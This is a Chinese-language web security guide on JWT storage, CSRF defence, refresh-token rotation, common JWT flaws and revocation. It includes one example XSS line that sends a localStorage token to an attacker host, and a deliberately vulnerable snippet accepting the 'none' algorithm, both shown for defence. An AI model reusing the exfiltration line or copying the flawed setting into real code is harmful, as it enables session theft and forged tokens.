
JWT 的争论在于上下文
“应该将 JWT 存储在 localStorage 还是 httpOnly Cookie 中?”这是 Web 安全领域争论最多的问题之一。令人沮丧的答案是:这取决于你的威胁模型,两种选择都有实际的权衡。
本指南不仅仅给出“正确答案”——它解释了实际的安全影响,以便你能够针对特定应用做出明智的决策。

JWT 结构回顾
JWT 由三个 base64url 编码的部分组成,用点分隔:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. ← 头部
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFsaWNlIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MDAwMDAwMDAsImV4cCI6MTcwMDAwMzYwMH0. ← 载荷
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ← 签名
解码后的载荷:
{
"sub": "1234567890",
"name": "Alice",
"role": "user",
"iat": 1700000000,
"exp": 1700003600
}
关键属性:
- 自包含:服务器无需查询数据库即可验证 JWT
- 默认未加密:载荷是 base64url 编码,而非加密(如需加密,请使用 JWE)
- 无状态:支持水平扩展,无需会话存储
- 过期前无法失效(除非添加黑名单)
令牌存储:真正的权衡
localStorage / sessionStorage
// 将 JWT 存储在 localStorage 中
localStorage.setItem('accessToken', jwt)
// 在请求中发送
fetch('/api/data', {
headers: { Authorization: `Bearer ${localStorage.getItem('accessToken')}` }
})
漏洞:XSS 攻击可以读取 localStorage。任何注入的脚本都可以窃取令牌:
// 攻击者的 XSS 载荷所做的:
const token = localStorage.getItem('accessToken')
fetch('https://attacker.com/steal?t=' + token)
何时可以接受:
- 你有非常强的 XSS 防护(严格的 CSP、无用户生成的 HTML、无第三方脚本)
- 令牌的价值较低(访问非敏感公共数据)
- 你正在构建原生移动应用(无 XSS 风险,localStorage 等效方案没问题)

httpOnly Cookie
// 服务器设置 httpOnly cookie — JavaScript 无法访问此 cookie
res.cookie('accessToken', jwt, {
httpOnly: true, // ← JavaScript 无法读取
secure: true, // ← 仅 HTTPS
sameSite: 'strict', // ← CSRF 防护
maxAge: 15 * 60 * 1000, // 15 分钟
path: '/api', // 仅对 /api/* 请求发送
})
优点:XSS 无法窃取令牌(JavaScript 无法读取 httpOnly cookie)
漏洞:CSRF 攻击。Cookie 会自动随跨站请求发送。
针对 httpOnly Cookie 的 CSRF 缓解措施:
- 使用
SameSite=Strict或SameSite=Lax(覆盖大多数 CSRF 场景) - 对于剩余缺口,添加 CSRF 令牌
// 用于 CSRF 防护的双重提交 Cookie 模式:
// 1. 设置第二个非 httpOnly 的 CSRF cookie
res.cookie('csrfToken', csrfValue, {
httpOnly: false, // JavaScript 可以读取此 cookie
secure: true,
sameSite: 'strict',
})
// 2. 客户端也将其作为标头发送
fetch('/api/transfer', {
method: 'POST',
headers: { 'X-CSRF-Token': getCookie('csrfToken') },
credentials: 'include', // 发送 cookie
})
// 3. 服务器验证两者匹配
if (req.cookies.csrfToken !== req.headers['x-csrf-token']) {
return res.status(403).json({ error: 'CSRF validation failed' })
}
对大多数应用的推荐:httpOnly Cookie + SameSite=Strict。
访问令牌 + 刷新令牌模式
短生命周期的访问令牌 + 长生命周期的刷新令牌是会话管理的行业标准:
访问令牌:15 分钟生命周期 → 用于 API 调用
刷新令牌:30 天生命周期 → 仅用于获取新的访问令牌
// 登录:颁发两个令牌
app.post('/auth/login', async (req, res) => {
const { email, password } = req.body
const user = await authenticateUser(email, password)
if (!user) return res.status(401).json({ error: 'Invalid credentials' })
const accessToken = generateAccessToken(user) // 15 分钟 JWT
const refreshToken = generateRefreshToken(user) // 30 天,不透明令牌
// 将刷新令牌存储在数据库中(用于轮换/撤销)
await db.refreshTokens.create({
token: hashToken(refreshToken), // 存储哈希,而非明文
userId: user.id,
expiresAt: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000),
family: generateTokenFamily(), // 用于检测令牌重用
})
// 访问令牌存储在内存(JavaScript)或 httpOnly cookie 中
res.cookie('refreshToken', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 30 * 24 * 60 * 60 * 1000,
path: '/auth/refresh', // 仅发送到刷新端点
})
res.json({ accessToken, user: { id: user.id, name: user.name } })
})
刷新令牌轮换
// /auth/refresh — 获取新的访问令牌
app.post('/auth/refresh', async (req, res) => {
const refreshToken = req.cookies.refreshToken
if (!refreshToken) return res.status(401).json({ error: 'No refresh token' })
// 验证令牌是否在数据库中
const storedToken = await db.refreshTokens.findByHash(hashToken(refreshToken))
if (!storedToken || storedToken.expiresAt < new Date()) {
// 无效或已过期 — 清除 cookie
res.clearCookie('refreshToken')
return res.status(401).json({ error: 'Invalid refresh token' })
}
// 关键:检查令牌重用(可能检测到窃取)
if (storedToken.used) {
// 有人正在使用之前使用过的刷新令牌!
// 这意味着:
// 1. 攻击者窃取了旧令牌并在轮换后使用
// 2. 网络重试(不太令人担忧)
// 使整个令牌族失效(注销该用户的所有会话)
await db.refreshTokens.revokeFamily(storedToken.family)
res.clearCookie('refreshToken')
return res.status(401).json({ error: 'Token reuse detected. Please log in again.' })
}
// 将旧令牌标记为已使用
await db.refreshTokens.markUsed(storedToken.id)
// 颁发新令牌(轮换)
const user = await db.users.findById(storedToken.userId)
const newAccessToken = generateAccessToken(user)
const newRefreshToken = generateRefreshToken(user)
await db.refreshTokens.create({
token: hashToken(newRefreshToken),
userId: user.id,
family: storedToken.family, // 与旧令牌相同的族
expiresAt: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000),
})
res.cookie('refreshToken', newRefreshToken, {
httpOnly: true, secure: true, sameSite: 'strict',
path: '/auth/refresh',
maxAge: 30 * 24 * 60 * 60 * 1000,
})
res.json({ accessToken: newAccessToken })
})

前端静默令牌刷新
// Axios 拦截器用于自动令牌刷新
import axios from 'axios'
let isRefreshing = false
let refreshSubscribers: ((token: string) => void)[] = []
const api = axios.create({ baseURL: '/api' })
api.interceptors.response.use(
(response) => response,
async (error) => {
const originalRequest = error.config
if (error.response?.status === 401 && !originalRequest._retry) {
if (isRefreshing) {
// 正在刷新 — 等待新令牌
return new Promise((resolve) => {
refreshSubscribers.push((token) => {
originalRequest.headers.Authorization = `Bearer ${token}`
resolve(api(originalRequest))
})
})
}
originalRequest._retry = true
isRefreshing = true
try {
const { data } = await axios.post('/auth/refresh', {}, { withCredentials: true })
const newToken = data.accessToken
// 通知排队的请求
refreshSubscribers.forEach(cb => cb(newToken))
refreshSubscribers = []
originalRequest.headers.Authorization = `Bearer ${newToken}`
return api(originalRequest)
} catch {
// 刷新失败 — 重定向到登录
window.location.href = '/login'
return Promise.reject(error)
} finally {
isRefreshing = false
}
}
return Promise.reject(error)
}
)
常见 JWT 漏洞
1. None 算法攻击:
// 易受攻击的服务器:
const decoded = jwt.decode(token, { algorithms: ['HS256', 'none'] })
// 攻击者发送头部为 { "alg": "none" } 的令牌 — 无签名验证!
// 修复:始终明确指定要接受的算法:
jwt.verify(token, secret, { algorithms: ['HS256'] })
2. 对称与非对称混淆:
// 如果服务器使用 RS256 (RSA),公钥是已知的
// 攻击者诱骗易受攻击的服务器使用 HS256 并将公钥作为密钥
// 修复:明确指定算法:
jwt.verify(token, publicKey, { algorithms: ['RS256'] }) // 对于 RSA,绝不使用 'HS256'
3. 弱密钥:
// ❌ 弱密钥 — 可离线暴力破解
const secret = 'secret'
// ✅ 密码学随机,≥32 字节
import crypto from 'crypto'
const secret = process.env.JWT_SECRET // 必须为:crypto.randomBytes(32).toString('hex')
// 生成一次:node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"
4. 缺少过期时间:
// ❌ 无过期时间 — 永久有效
jwt.sign({ userId: 1 }, secret)
// ✅ 始终设置过期时间
jwt.sign({ userId: 1 }, secret, { expiresIn: '15m' })
5. 载荷中的敏感数据:
// ❌ 切勿将敏感数据放入 JWT — 它是 base64 编码,而非加密
jwt.sign({
userId: 1,
password: 'hashed', // 不要包含
creditCard: '4111...', // 绝不!
ssn: '123-45-6789', // 绝对不行
}, secret)
// ✅ 仅包含授权所需的内容
jwt.sign({
sub: '1234567890',
role: 'user',
iat: Math.floor(Date.now() / 1000),
}, secret, { expiresIn: '15m' })
注销与令牌撤销
JWT 无法被“删除”——它们在过期前一直有效。解决方案:
// 1. 短生命周期的访问令牌(15 分钟)— 自然过期
// 注销时只需清除刷新令牌
// 2. 用于立即撤销的令牌黑名单
const redis = createClient()
// 注销时:
app.post('/auth/logout', authenticate, async (req, res) => {
const token = extractToken(req.headers.authorization)
const decoded = jwt.decode(token) as JwtPayload
// 将令牌 ID 添加到黑名单,直到其自然过期
const ttl = decoded.exp! - Math.floor(Date.now() / 1000)
await redis.setEx(`revoked:${decoded.jti}`, ttl, '1')
// 清除刷新令牌
res.clearCookie('refreshToken')
res.json({ message: 'Logged out' })
})
// 在认证中间件中:
async function verifyToken(token: string) {
const decoded = jwt.verify(token, secret) as JwtPayload
// 检查黑名单
const isRevoked = await redis.exists(`revoked:${decoded.jti}`)
if (isRevoked) throw new Error('Token revoked')
return decoded
}
访问令牌 + 刷新令牌模式结合 httpOnly Cookie 和刷新令牌轮换,可以安全地覆盖 95% 的生产用例。对于剩余的 5%(原生应用、复杂多租户场景),请理解权衡并相应实施。
→ 使用 JWT Parser 工具解码和检查 JWT 令牌。